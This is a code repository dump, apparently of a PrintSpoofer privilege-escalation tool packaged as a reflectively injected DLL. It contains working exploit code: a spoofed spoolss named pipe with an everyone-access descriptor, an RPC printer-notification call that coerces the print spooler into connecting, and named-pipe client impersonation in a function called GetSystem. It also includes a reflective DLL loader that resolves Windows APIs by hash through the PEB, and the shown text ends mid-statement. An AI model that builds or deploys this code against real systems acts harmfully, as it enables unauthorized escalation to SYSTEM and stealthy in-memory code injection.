GETPROCADDRESS)(HMODULE, LPCSTR); 39 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); 40 | typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); 41 | 42 | #define KERNEL32DLL_HASH 0x6A4ABC5B 43 | #define NTDLLDLL_HASH 0x3CFA685D 44 | 45 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 46 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 47 | #define VIRTUALALLOC_HASH 0x91AFCA54 48 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 49 | 50 | #define IMAGE_REL_BASED_ARM_MOV32A 5 51 | #define IMAGE_REL_BASED_ARM_MOV32T 7 52 | 53 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 54 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 55 | #define ARM_MOVW 0xF2400000 56 | #define ARM_MOVT 0xF2C00000 57 | 58 | #define HASH_KEY 13 59 | //===============================================================================================// 60 | #pragma intrinsic( _rotr ) 61 | 62 | __forceinline DWORD ror(DWORD d) 63 | { 64 | return _rotr(d, HASH_KEY); 65 | } 66 | 67 | __forceinline DWORD hash(char* c) 68 | { 69 | register DWORD h = 0; 70 | do 71 | { 72 | h = ror(h); 73 | h += *c; 74 | } while (*++c); 75 | 76 | return h; 77 | } 78 | //===============================================================================================// 79 | typedef struct _UNICODE_STR 80 | { 81 | USHORT Length; 82 | USHORT MaximumLength; 83 | PWSTR pBuffer; 84 | } UNICODE_STR, * PUNICODE_STR; 85 | 86 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 87 | //__declspec( align(8) ) 88 | typedef struct _LDR_DATA_TABLE_ENTRY 89 | { 90 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 91 | LIST_ENTRY InMemoryOrderModuleList; 92 | LIST_ENTRY InInitializationOrderModuleList; 93 | PVOID DllBase; 94 | PVOID EntryPoint; 95 | ULONG SizeOfImage; 96 | UNICODE_STR FullDllName; 97 | UNICODE_STR BaseDllName; 98 | ULONG Flags; 99 | SHORT LoadCount; 100 | SHORT TlsIndex; 101 | LIST_ENTRY HashTableEntry; 102 | ULONG TimeDateStamp; 103 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 104 | 105 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 106 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 107 | { 108 | DWORD dwLength; 109 | DWORD dwInitialized; 110 | LPVOID lpSsHandle; 111 | LIST_ENTRY InLoadOrderModuleList; 112 | LIST_ENTRY InMemoryOrderModuleList; 113 | LIST_ENTRY InInitializationOrderModuleList; 114 | LPVOID lpEntryInProgress; 115 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 116 | 117 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 118 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 119 | { 120 | struct _PEB_FREE_BLOCK* pNext; 121 | DWORD dwSize; 122 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 123 | 124 | // struct _PEB is defined in Winternl.h but it is incomplete 125 | // WinDbg> dt -v ntdll!_PEB 126 | typedef struct __PEB // 65 elements, 0x210 bytes 127 | { 128 | BYTE bInheritedAddressSpace; 129 | BYTE bReadImageFileExecOptions; 130 | BYTE bBeingDebugged; 131 | BYTE bSpareBool; 132 | LPVOID lpMutant; 133 | LPVOID lpImageBaseAddress; 134 | PPEB_LDR_DATA pLdr; 135 | LPVOID lpProcessParameters; 136 | LPVOID lpSubSystemData; 137 | LPVOID lpProcessHeap; 138 | PRTL_CRITICAL_SECTION pFastPebLock; 139 | LPVOID lpFastPebLockRoutine; 140 | LPVOID lpFastPebUnlockRoutine; 141 | DWORD dwEnvironmentUpdateCount; 142 | LPVOID lpKernelCallbackTable; 143 | DWORD dwSystemReserved; 144 | DWORD dwAtlThunkSListPtr32; 145 | PPEB_FREE_BLOCK pFreeList; 146 | DWORD dwTlsExpansionCounter; 147 | LPVOID lpTlsBitmap; 148 | DWORD dwTlsBitmapBits[2]; 149 | LPVOID lpReadOnlySharedMemoryBase; 150 | LPVOID lpReadOnlySharedMemoryHeap; 151 | LPVOID lpReadOnlyStaticServerData; 152 | LPVOID lpAnsiCodePageData; 153 | LPVOID lpOemCodePageData; 154 | LPVOID lpUnicodeCaseTableData; 155 | DWORD dwNumberOfProcessors; 156 | DWORD dwNtGlobalFlag; 157 | LARGE_INTEGER liCriticalSectionTimeout; 158 | DWORD dwHeapSegmentReserve; 159 | DWORD dwHeapSegmentCommit; 160 | DWORD dwHeapDeCommitTotalFreeThreshold; 161 | DWORD dwHeapDeCommitFreeBlockThreshold; 162 | DWORD dwNumberOfHeaps; 163 | DWORD dwMaximumNumberOfHeaps; 164 | LPVOID lpProcessHeaps; 165 | LPVOID lpGdiSharedHandleTable; 166 | LPVOID lpProcessStarterHelper; 167 | DWORD dwGdiDCAttributeList; 168 | LPVOID lpLoaderLock; 169 | DWORD dwOSMajorVersion; 170 | DWORD dwOSMinorVersion; 171 | WORD wOSBuildNumber; 172 | WORD wOSCSDVersion; 173 | DWORD dwOSPlatformId; 174 | DWORD dwImageSubsystem; 175 | DWORD dwImageSubsystemMajorVersion; 176 | DWORD dwImageSubsystemMinorVersion; 177 | DWORD dwImageProcessAffinityMask; 178 | DWORD dwGdiHandleBuffer[34]; 179 | LPVOID lpPostProcessInitRoutine; 180 | LPVOID lpTlsExpansionBitmap; 181 | DWORD dwTlsExpansionBitmapBits[32]; 182 | DWORD dwSessionId; 183 | ULARGE_INTEGER liAppCompatFlags; 184 | ULARGE_INTEGER liAppCompatFlagsUser; 185 | LPVOID lppShimData; 186 | LPVOID lpAppCompatInfo; 187 | UNICODE_STR usCSDVersion; 188 | LPVOID lpActivationContextData; 189 | LPVOID lpProcessAssemblyStorageMap; 190 | LPVOID lpSystemDefaultActivationContextData; 191 | LPVOID lpSystemAssemblyStorageMap; 192 | DWORD dwMinimumStackCommit; 193 | } _PEB, * _PPEB; 194 | 195 | typedef struct 196 | { 197 | WORD offset : 12; 198 | WORD type : 4; 199 | } IMAGE_RELOC, * PIMAGE_RELOC; 200 | //===============================================================================================// 201 | #endif 202 | //===============================================================================================// 203 | -------------------------------------------------------------------------------- /PrintSpoofer/PrintSpoofer.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | ARM 7 | 8 | 9 | Debug 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | ARM 19 | 20 | 21 | Release 22 | Win32 23 | 24 | 25 | Release 26 | x64 27 | 28 | 29 | 30 | 16.0 31 | {B67143DE-321D-4034-AC1D-C6BB2D98563F} 32 | Win32Proj 33 | PrintSpoofer 34 | 10.0 35 | 36 | 37 | 38 | DynamicLibrary 39 | true 40 | v142 41 | Unicode 42 | 43 | 44 | DynamicLibrary 45 | false 46 | v142 47 | true 48 | Unicode 49 | 50 | 51 | DynamicLibrary 52 | true 53 | v142 54 | Unicode 55 | 56 | 57 | DynamicLibrary 58 | false 59 | v142 60 | true 61 | Unicode 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | true 83 | 84 | 85 | true 86 | 87 | 88 | false 89 | .dll 90 | 91 | 92 | false 93 | .dll 94 | 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | WIN32;WIN_X86;_DEBUG;_CONSOLE;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 102 | true 103 | 104 | 105 | Console 106 | true 107 | 108 | 109 | 110 | 111 | 112 | 113 | Level3 114 | true 115 | _DEBUG;WIN_X64;_CONSOLE;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 116 | true 117 | 118 | 119 | Console 120 | true 121 | 122 | 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 132 | true 133 | MultiThreaded 134 | 135 | 136 | Console 137 | true 138 | true 139 | false 140 | 141 | 142 | 143 | 144 | 145 | 146 | Level3 147 | true 148 | true 149 | true 150 | WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 151 | true 152 | MultiThreaded 153 | 154 | 155 | Console 156 | true 157 | true 158 | false 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | -------------------------------------------------------------------------------- /PrintSpoofer/PrintSpoofer.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "PrintSpoofer.h" 9 | #include "ms-rprn_h.h" 10 | 11 | #pragma comment(lib, "rpcrt4.lib") 12 | #pragma comment(lib, "userenv.lib") 13 | #pragma warning( disable : 28251 ) 14 | 15 | BOOL CheckAndEnablePrivilege(HANDLE hTokenToCheck, LPCWSTR pwszPrivilegeToCheck) 16 | { 17 | BOOL bResult = FALSE; 18 | HANDLE hToken = INVALID_HANDLE_VALUE; 19 | 20 | DWORD dwTokenPrivilegesSize = 0; 21 | PTOKEN_PRIVILEGES pTokenPrivileges = NULL; 22 | 23 | LPWSTR pwszPrivilegeName = NULL; 24 | 25 | if (hTokenToCheck) 26 | { 27 | // If a token handle was supplied, check this token 28 | hToken = hTokenToCheck; 29 | } 30 | else 31 | { 32 | // If a token handle wasn't supplied, check the token of the current process 33 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) 34 | { 35 | wprintf(L"OpenProcessToken() failed. Error: %d\n", GetLastError()); 36 | goto cleanup; 37 | } 38 | } 39 | 40 | if (!GetTokenInformation(hToken, TokenPrivileges, NULL, dwTokenPrivilegesSize, &dwTokenPrivilegesSize)) 41 | { 42 | if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) 43 | { 44 | wprintf(L"GetTokenInformation() failed. Error: %d\n", GetLastError()); 45 | goto cleanup; 46 | } 47 | } 48 | 49 | pTokenPrivileges = (PTOKEN_PRIVILEGES)malloc(dwTokenPrivilegesSize); 50 | if (!pTokenPrivileges) 51 | goto cleanup; 52 | 53 | if (!GetTokenInformation(hToken, TokenPrivileges, pTokenPrivileges, dwTokenPrivilegesSize, &dwTokenPrivilegesSize)) 54 | { 55 | wprintf(L"GetTokenInformation() failed. Error: %d\n", GetLastError()); 56 | goto cleanup; 57 | } 58 | 59 | for (DWORD i = 0; i < pTokenPrivileges->PrivilegeCount; i++) 60 | { 61 | LUID_AND_ATTRIBUTES laa = pTokenPrivileges->Privileges[i]; 62 | DWORD dwPrivilegeNameLength = 0; 63 | 64 | if (!LookupPrivilegeName(NULL, &(laa.Luid), NULL, &dwPrivilegeNameLength)) 65 | { 66 | if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) 67 | { 68 | wprintf(L"LookupPrivilegeName() failed. Error: %d\n", GetLastError()); 69 | goto cleanup; 70 | } 71 | } 72 | 73 | dwPrivilegeNameLength++; 74 | pwszPrivilegeName = (LPWSTR)malloc(dwPrivilegeNameLength * sizeof(WCHAR)); 75 | if (!pwszPrivilegeName) 76 | goto cleanup; 77 | 78 | if (!LookupPrivilegeName(NULL, &(laa.Luid), pwszPrivilegeName, &dwPrivilegeNameLength)) 79 | { 80 | wprintf(L"LookupPrivilegeName() failed. Error: %d\n", GetLastError()); 81 | goto cleanup; 82 | } 83 | 84 | if (!_wcsicmp(pwszPrivilegeName, pwszPrivilegeToCheck)) 85 | { 86 | TOKEN_PRIVILEGES tp = { 0 }; 87 | 88 | ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); 89 | tp.PrivilegeCount = 1; 90 | tp.Privileges[0].Luid = laa.Luid; 91 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 92 | 93 | if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) 94 | { 95 | wprintf(L"AdjustTokenPrivileges() failed. Error: %d\n", GetLastError()); 96 | goto cleanup; 97 | } 98 | 99 | bResult = TRUE; 100 | } 101 | 102 | free(pwszPrivilegeName); 103 | 104 | if (bResult) 105 | break; 106 | } 107 | 108 | cleanup: 109 | if (hToken) 110 | CloseHandle(hToken); 111 | if (pTokenPrivileges) 112 | free(pTokenPrivileges); 113 | 114 | return bResult; 115 | } 116 | 117 | BOOL GenerateRandomPipeName(LPWSTR *ppwszPipeName) 118 | { 119 | UUID uuid = { 0 }; 120 | 121 | if (UuidCreate(&uuid) != RPC_S_OK) 122 | return FALSE; 123 | 124 | if (UuidToString(&uuid, (RPC_WSTR*)&(*ppwszPipeName)) != RPC_S_OK) 125 | return FALSE; 126 | 127 | if (!*ppwszPipeName) 128 | return FALSE; 129 | 130 | return TRUE; 131 | } 132 | 133 | HANDLE CreateSpoolNamedPipe(LPWSTR pwszPipeName) 134 | { 135 | HANDLE hPipe = NULL; 136 | LPWSTR pwszPipeFullname = NULL; 137 | SECURITY_DESCRIPTOR sd = { 0 }; 138 | SECURITY_ATTRIBUTES sa = { 0 }; 139 | 140 | pwszPipeFullname = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR)); 141 | if (!pwszPipeFullname) 142 | return NULL; 143 | 144 | StringCchPrintf(pwszPipeFullname, MAX_PATH, L"\\\\.\\pipe\\%ws\\pipe\\spoolss", pwszPipeName); 145 | 146 | if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION)) 147 | { 148 | wprintf(L"InitializeSecurityDescriptor() failed. Error: %d\n", GetLastError()); 149 | free(pwszPipeFullname); 150 | return NULL; 151 | } 152 | 153 | if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL)) 154 | { 155 | wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d\n", GetLastError()); 156 | free(pwszPipeFullname); 157 | return NULL; 158 | } 159 | 160 | // The FILE_FLAG_OVERLAPPED flag is what allows us to create an async pipe. 161 | hPipe = CreateNamedPipe(pwszPipeFullname, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa); 162 | if (hPipe == INVALID_HANDLE_VALUE) 163 | { 164 | wprintf(L"CreateNamedPipe() failed. Error: %d\n", GetLastError()); 165 | free(pwszPipeFullname); 166 | return NULL; 167 | } 168 | 169 | free(pwszPipeFullname); 170 | 171 | return hPipe; 172 | } 173 | 174 | HANDLE ConnectSpoolNamedPipe(HANDLE hPipe) 175 | { 176 | HANDLE hPipeEvent = INVALID_HANDLE_VALUE; 177 | OVERLAPPED ol = { 0 }; 178 | 179 | // Create a non-signaled event for the OVERLLAPED structure 180 | hPipeEvent = CreateEvent(NULL, TRUE, FALSE, NULL); 181 | if (!hPipeEvent) 182 | { 183 | wprintf(L"CreateEvent() failed. Error: %d\n", GetLastError()); 184 | return NULL; 185 | } 186 | 187 | ZeroMemory(&ol, sizeof(OVERLAPPED)); 188 | ol.hEvent = hPipeEvent; 189 | 190 | // Connect the pipe asynchronously 191 | if (!ConnectNamedPipe(hPipe, &ol)) 192 | { 193 | if (GetLastError() != ERROR_IO_PENDING) 194 | { 195 | wprintf(L"ConnectNamedPipe() failed. Error: %d\n", GetLastError()); 196 | return NULL; 197 | } 198 | } 199 | 200 | return hPipeEvent; 201 | } 202 | 203 | HANDLE TriggerNamedPipeConnection(LPWSTR pwszPipeName) 204 | { 205 | HANDLE hThread = NULL; 206 | DWORD dwThreadId = 0; 207 | 208 | hThread = CreateThread(NULL, 0, TriggerNamedPipeConnectionThread, pwszPipeName, 0, &dwThreadId); 209 | if (!hThread) 210 | wprintf(L"CreateThread() failed. Error: %d\n", GetLastError()); 211 | 212 | return hThread; 213 | } 214 | 215 | DWORD WINAPI TriggerNamedPipeConnectionThread(LPVOID lpParam) 216 | { 217 | HRESULT hr = NULL; 218 | PRINTER_HANDLE hPrinter = NULL; 219 | DEVMODE_CONTAINER devmodeContainer = { 0 }; 220 | 221 | LPWSTR pwszComputerName = NULL; 222 | DWORD dwComputerNameLen = MAX_COMPUTERNAME_LENGTH + 1; 223 | 224 | LPWSTR pwszTargetServer = NULL; 225 | LPWSTR pwszCaptureServer = NULL; 226 | 227 | LPWSTR pwszPipeName = (LPWSTR)lpParam; 228 | 229 | pwszComputerName = (LPWSTR)malloc(dwComputerNameLen * sizeof(WCHAR)); 230 | if (!pwszComputerName) 231 | goto cleanup; 232 | 233 | if (!GetComputerName(pwszComputerName, &dwComputerNameLen)) 234 | goto cleanup; 235 | 236 | pwszTargetServer = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR)); 237 | if (!pwszTargetServer) 238 | goto cleanup; 239 | 240 | pwszCaptureServer = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR)); 241 | if (!pwszCaptureServer) 242 | goto cleanup; 243 | 244 | StringCchPrintf(pwszTargetServer, MAX_PATH, L"\\\\%ws", pwszComputerName); 245 | StringCchPrintf(pwszCaptureServer, MAX_PATH, L"\\\\%ws/pipe/%ws", pwszComputerName, pwszPipeName); 246 | 247 | RpcTryExcept 248 | { 249 | if (RpcOpenPrinter(pwszTargetServer, &hPrinter, NULL, &devmodeContainer, 0) == RPC_S_OK) 250 | { 251 | RpcRemoteFindFirstPrinterChangeNotificationEx(hPrinter, PRINTER_CHANGE_ADD_JOB, 0, pwszCaptureServer, 0, NULL); 252 | RpcClosePrinter(&hPrinter); 253 | } 254 | } 255 | RpcExcept(EXCEPTION_EXECUTE_HANDLER); 256 | { 257 | // Expect RPC_S_SERVER_UNAVAILABLE 258 | } 259 | RpcEndExcept; 260 | 261 | cleanup: 262 | if (pwszComputerName) 263 | free(pwszComputerName); 264 | if (pwszTargetServer) 265 | free(pwszTargetServer); 266 | if (pwszCaptureServer) 267 | free(pwszCaptureServer); 268 | if (hPrinter) 269 | RpcClosePrinter(&hPrinter); 270 | 271 | return 0; 272 | } 273 | 274 | BOOL GetSystem(HANDLE hPipe) 275 | { 276 | if (!ImpersonateNamedPipeClient(hPipe)) 277 | { 278 | wprintf(L"ImpersonateNamedPipeClient(). Error: %d\n", GetLastError()); 279 | return FALSE; 280 | } 281 | wprintf(L"[+] ImpersoneteNamedPipeClient OK\n"); 282 | return TRUE; 283 | } 284 | 285 | handle_t __RPC_USER STRING_HANDLE_bind(STRING_HANDLE lpStr) 286 | { 287 | RPC_STATUS RpcStatus; 288 | RPC_WSTR StringBinding; 289 | handle_t BindingHandle; 290 | 291 | if (RpcStringBindingComposeW((RPC_WSTR)L"12345678-1234-ABCD-EF00-0123456789AB", (RPC_WSTR)L"ncacn_np", (RPC_WSTR)lpStr, (RPC_WSTR)L"\\pipe\\spoolss", NULL, &StringBinding) != RPC_S_OK) 292 | return NULL; 293 | 294 | RpcStatus = RpcBindingFromStringBindingW(StringBinding, &BindingHandle); 295 | 296 | RpcStringFreeW(&StringBinding); 297 | 298 | if (RpcStatus != RPC_S_OK) 299 | return NULL; 300 | 301 | return BindingHandle; 302 | } 303 | 304 | void __RPC_USER STRING_HANDLE_unbind(STRING_HANDLE lpStr, handle_t BindingHandle) 305 | { 306 | RpcBindingFree(&BindingHandle); 307 | } 308 | 309 | void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes) 310 | { 311 | return((void __RPC_FAR*) malloc(cBytes)); 312 | } 313 | 314 | void __RPC_USER midl_user_free(void __RPC_FAR* p) 315 | { 316 | free(p); 317 | } 318 | -------------------------------------------------------------------------------- /PrintSpoofer/ReflectiveLoader.cpp: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | //===============================================================================================// 30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 31 | HINSTANCE hAppInstance = NULL; 32 | //===============================================================================================// 33 | #pragma intrinsic( _ReturnAddress ) 34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 37 | // available (and no inline asm available under x64). 38 | __declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); } 39 | //===============================================================================================// 40 | 41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 42 | // otherwise the DllMain at the end of this file will be used. 43 | 44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 46 | 47 | // This is our position independent reflective DLL loader/injector 48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter) 50 | #else 51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) 52 | #endif 53 | { 54 | // the functions we need 55 | LOADLIBRARYA pLoadLibraryA = NULL; 56 | GETPROCADDRESS pGetProcAddress = NULL; 57 | VIRTUALALLOC pVirtualAlloc = NULL; 58 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 59 | 60 | USHORT usCounter; 61 | 62 | // the initial location of this image in memory 63 | ULONG_PTR uiLibraryAddress; 64 | // the kernels base address and later this images newly loaded base address 65 | ULONG_PTR uiBaseAddress; 66 | 67 | // variables for processing the kernels export table 68 | ULONG_PTR uiAddressArray; 69 | ULONG_PTR uiNameArray; 70 | ULONG_PTR uiExportDir; 71 | ULONG_PTR uiNameOrdinals; 72 | DWORD dwHashValue; 73 | 74 | // variables for loading this image 75 | ULONG_PTR uiHeaderValue; 76 | ULONG_PTR uiValueA; 77 | ULONG_PTR uiValueB; 78 | ULONG_PTR uiValueC; 79 | ULONG_PTR uiValueD; 80 | ULONG_PTR uiValueE; 81 | 82 | // STEP 0: calculate our images current base address 83 | 84 | // we will start searching backwards from our callers return address. 85 | uiLibraryAddress = caller(); 86 | 87 | // loop through memory backwards searching for our images base address 88 | // we dont need SEH style search as we shouldnt generate any access violations with this 89 | while (TRUE) 90 | { 91 | if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) 92 | { 93 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 94 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 95 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 96 | if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) 97 | { 98 | uiHeaderValue += uiLibraryAddress; 99 | // break if we have found a valid MZ/PE header 100 | if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) 101 | break; 102 | } 103 | } 104 | uiLibraryAddress--; 105 | } 106 | 107 | // STEP 1: process the kernels exports for the functions our loader needs... 108 | 109 | // get the Process Enviroment Block 110 | #ifdef WIN_X64 111 | uiBaseAddress = __readgsqword(0x60); 112 | #else 113 | #ifdef WIN_X86 114 | uiBaseAddress = __readfsdword(0x30); 115 | #else WIN_ARM 116 | uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); 117 | #endif 118 | #endif 119 | 120 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 121 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 122 | 123 | // get the first entry of the InMemoryOrder module list 124 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 125 | while (uiValueA) 126 | { 127 | // get pointer to current modules name (unicode string) 128 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 129 | // set bCounter to the length for the loop 130 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 131 | // clear uiValueC which will store the hash of the module name 132 | uiValueC = 0; 133 | 134 | // compute the hash of the module name... 135 | do 136 | { 137 | uiValueC = ror((DWORD)uiValueC); 138 | // normalize to uppercase if the madule name is in lowercase 139 | if (*((BYTE*)uiValueB) >= 'a') 140 | uiValueC += *((BYTE*)uiValueB) - 0x20; 141 | else 142 | uiValueC += *((BYTE*)uiValueB); 143 | uiValueB++; 144 | } while (--usCounter); 145 | 146 | // compare the hash with that of kernel32.dll 147 | if ((DWORD)uiValueC == KERNEL32DLL_HASH) 148 | { 149 | // get this modules base address 150 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 151 | 152 | // get the VA of the modules NT Header 153 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 154 | 155 | // uiNameArray = the address of the modules export directory entry 156 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 157 | 158 | // get the VA of the export directory 159 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 160 | 161 | // get the VA for the array of name pointers 162 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); 163 | 164 | // get the VA for the array of name ordinals 165 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); 166 | 167 | usCounter = 3; 168 | 169 | // loop while we still have imports to find 170 | while (usCounter > 0) 171 | { 172 | // compute the hash values for this function name 173 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); 174 | 175 | // if we have found a function we want we get its virtual address 176 | if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH) 177 | { 178 | // get the VA for the array of addresses 179 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 180 | 181 | // use this functions name ordinal as an index into the array of name pointers 182 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); 183 | 184 | // store this functions VA 185 | if (dwHashValue == LOADLIBRARYA_HASH) 186 | pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); 187 | else if (dwHashValue == GETPROCADDRESS_HASH) 188 | pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); 189 | else if (dwHashValue == VIRTUALALLOC_HASH) 190 | pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); 191 | 192 | // decrement our counter 193 | usCounter--; 194 | } 195 | 196 | // get the next exported function name 197 | uiNameArray += 